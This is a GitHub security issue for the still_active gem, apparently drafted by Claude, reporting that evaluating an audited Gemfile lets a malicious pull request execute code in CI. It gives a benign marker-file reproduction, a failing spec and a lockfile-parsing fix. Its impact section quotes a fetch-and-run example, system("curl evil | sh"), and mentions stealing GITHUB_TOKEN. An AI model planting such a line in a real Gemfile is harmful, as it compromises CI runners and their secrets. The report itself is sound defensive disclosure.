Skip to content

Security: still_active executes arbitrary code from the audited Gemfile (RCE in CI) #37

Description

@SeanLF

Summary

still_active evaluates the target Gemfile as Ruby in order to enumerate dependencies. A Gemfile is arbitrary Ruby, so any code in it runs the moment still_active reads the dependency list — no bundle install, no network required. When still_active runs in CI against an untrusted PR that modifies the Gemfile, this is remote code execution in the CI environment.

Severity / impact

High (security). The most direct exploit path: a CI workflow runs still_active on PRs, and a malicious PR adds system("curl evil | sh") (or exfiltrates GITHUB_TOKEN) to the Gemfile. The code executes with the runner's privileges.

Reproduction

# /tmp/evil/Gemfile  — a "malicious" Gemfile is just Ruby
source "https://rubygems.org"
File.write(ENV.fetch("MARKER"), "arbitrary code executed at #{Time.now}")
gem "rake", "~> 13.0"
MARKER=/tmp/pwned ruby -e '
  $LOAD_PATH.unshift("lib")
  require "helpers/bundler_helper"
  StillActive::BundlerHelper.gemfile_dependencies(gemfile_path: "/tmp/evil/Gemfile") rescue nil'
cat /tmp/pwned   # => "arbitrary code executed at ..."

The side effect fires even on the no-lockfile error path, because the eval happens before the lockfile check.

Failing spec (red against main)

it("does not execute arbitrary code embedded in the Gemfile") do
  marker = File.join(Dir.tmpdir, "still_active_rce_#{Process.pid}")
  ENV["STILL_ACTIVE_RCE_MARKER"] = marker
  StillActive::BundlerHelper.gemfile_dependencies(gemfile_path: rce_gemfile) rescue nil
  expect(File.exist?(marker)).to be(false)  # FAILS: marker was written
end

Root cause

lib/helpers/bundler_helper.rbgemfile_dependencies calls ::Bundler.definition, which evaluates the Gemfile DSL (arbitrary Ruby), and also evaluates path:-source gemspecs.

Suggested fix

Parse Gemfile.lock directly instead of evaluating the Gemfile. The lockfile's DEPENDENCIES section already lists the direct deps, and GEM/GIT/PATH blocks list the resolved specs — everything gemfile_dependencies needs. still_active already hand-rolls a side-effect-free LockfileIndexer for SARIF; extending it to read DEPENDENCIES + specs removes the eval surface for the common (lockfile-present) case. This single change also fixes the --gemfile-ignored-under-bundle exec bug and the unaudited-local-gemspec-runtime-deps bug (separate issues). At minimum, document in SECURITY.md that still_active must only be run against trusted Gemfiles.

If you'd prefer private disclosure over a public issue, this can be moved to a GitHub Security Advisory.


Filed by Claude on behalf of @SeanLF (2026-06-11). Repro + red RSpec spec generated and verified against main. Full failing-spec source available on request.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingsecuritySecurity and supply-chain hardening

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions